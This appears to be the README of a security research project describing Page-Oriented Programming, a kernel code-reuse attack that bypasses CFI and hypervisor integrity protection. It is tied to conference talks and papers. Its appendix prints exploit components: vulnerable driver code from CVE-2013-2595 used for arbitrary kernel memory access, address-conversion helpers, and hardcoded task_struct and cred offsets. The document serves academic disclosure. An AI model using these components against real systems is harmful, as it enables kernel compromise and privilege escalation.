We are preparing the source code for release!

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1. Page-Oriented Programming (POP)

POP is a new type of CRA that can circumvent robust security enforcement, including kernel CFI and hypervisor-based kernel integrity protection. It primarily focuses on the direct branches and performs a page-level CRA by remapping the physical addresses of the gadgets to the branches and chaining them together. It creates new control flows from system call functions to security-sensitive functions within the kernel. Our POP attack can succeed even against state-of-the-art CFI protection schemes, in contrast to typical ROP attacks that manipulate stack or heap memory and page table attacks that modify kernel code.

1.1. Presentation, Paper, and Demo

Our POP and related materials were and will be introduced at security conferences below.

• Black Hat USA 2023: Lost Control: Breaking Hardware-Assisted Kernel Control-Flow Integrity with Page-Oriented Programming
• TBD: USENIX Security 2024

You can watch the demo video below. To make POP simple, the demo for Black Hat USA 2023 stitched gadgets at the kernel level. If you want an example that uses a real-world CVE, please check our USENIX paper and the usenix_security_2024/01.poc directory.

• 

2. License

The source code has GPL v2 license.

Appendix for papers

Essential parts of the CVE-2013-2595 and published exploit code

We ported a data structure for our 64-bit kernel driver and abused the vulnerable interface to read and write arbitrary kernel memory.

// A data structure for exploitation
struct msm_mem_map_info {
   //uint32_t cookie;      // Original fields
   //uint32_t length;
   //uint32_t mem_type;
   uint64_t cookie;        // Ported fields
   uint64_t length;
   uint64_t mem_type;
};

// Vulnerable code in the IOCTL function
static long msm_ioctl_config(struct file *fp, 
      unsigned int cmd, unsigned long arg)
{
   struct msm_cam_config_dev *config_cam = 
      fp->private_data;
   ...

   switch (cmd) {
   // Copying mmap information from user data
   case MSM_CAM_IOCTL_SET_MEM_MAP_INFO:
      if (copy_from_user(&config_cam->mem_map, 
            (void __user *)arg, sizeof(struct 
            msm_mem_map_info)))
      rc = -EINVAL;
      break;
   ...
   }
   ...
} 

// Vulnerable mmap() function
static int msm_mmap_config(struct file *fp, 
      struct vm_area_struct *vma)
{
   struct msm_cam_config_dev *config_cam = 
      fp->private_data;
   int phyaddr;
   int retval;
   unsigned long size;
   ...

   // Getting the start address from user data
   phyaddr = (int)config_cam->mem_map.cookie;
   memset(&config_cam->mem_map, 0, 
      sizeof(struct msm_mem_map_info));
   size = vma->vm_end - vma->vm_start;
   vma->vm_page_prot = pgprot_noncached(
      vma->vm_page_prot);

   // Mapping physical pages without checks
   retval = remap_pfn_range(vma, vma->vm_start,
               phyaddr >> PAGE_SHIFT,
               size, vma->vm_page_prot);
   ...
}

Address conversion functions of our POP exploit code

We mapped the kernel virtual address to the user area with them and modified arbitrary kernel memory for POP.

// Variables for a start offset of physical 
//   memory and mapped address of it
uint64_t g_phy_off_start;
char*    g_phy_mapped_addr;
// A variable for the text section offset in the 
//   mapped physical memory
uint64_t g_mapped_text_off;
// Variables for the kernel start address and
//   page_offset_base (direct mapping area) 
uint64_t g_kernel_start_addr;
uint64_t g_page_offset_base;

void *kernel_virt_to_phys(void* virt)
{
   // For the direct mapping area
   if ((uint64_t)virt < g_kernel_start_addr)
   {
      return (void*)((uint64_t)virt - 
         g_page_offset_base);
   }
   // For the kernel code and data area
   else
   {
      // Adjusting for the kernel physical area
      return (void*)((uint64_t)virt - 
         g_kernel_start_addr + 
         g_mapped_text_off + 
         g_phy_off_start);
   }
}

void *convert_kernel_virt_to_user_virt(void* virt)
{
   uint64_t phys_addr;

   // Retrieving the physical address
   phys_addr = (uint64_t)kernel_virt_to_phys(
      virt);

   // Converting it to the user space address
   return (void*)(phys_addr - g_phy_off_start + 
      g_phy_mapped_addr);
}

Identified fields of kernel data structures from kernel assembly code

The field offsets were extracted from functions that access the fields, such as clear_tasks_mm_cpumask(), prepare_kernel_cred(), __set_task_comm(), and pgd_alloc().

// Offsets in kernel data structures
#define OFF_TASKS_IN_TASK         0x8d0
#define OFF_MM_IN_TASK            0x920
#define OFF_CRED_IN_TASK          0xb58
#define OFF_COMM_IN_TASK          0xb70
#define OFF_PGD_IN_MM             0x48
#define OFF_THREADKEYRING_IN_CRED 0x68

enum {
   TASK_COMM_LEN = 16,
};

struct list_head
{
   struct list_head *next, *prev;
};

struct mm_struct
{
   char buffer1[OFF_PGD_IN_MM];
   pgd_t * pgd;
};

struct cred
{
   char buffer1[OFF_THREADKEYRING_IN_CRED];
   uint64_t* thread_keyring;
};

struct task_struct
{
   char buffer1[OFF_TASKS_IN_TASK];
   struct list_head tasks;

   char buffer2[OFF_MM_IN_TASK - 
      OFF_TASKS_IN_TASK - 16];
   struct mm_struct* mm;

   char buffer3[OFF_CRED_IN_TASK - 
      OFF_MM_IN_TASK - 8];
   struct cred* real_cred;

   char buffer4[OFF_COMM_IN_TASK - 
      OFF_CRED_IN_TASK - 8];
   char comm[TASK_COMM_LEN];
};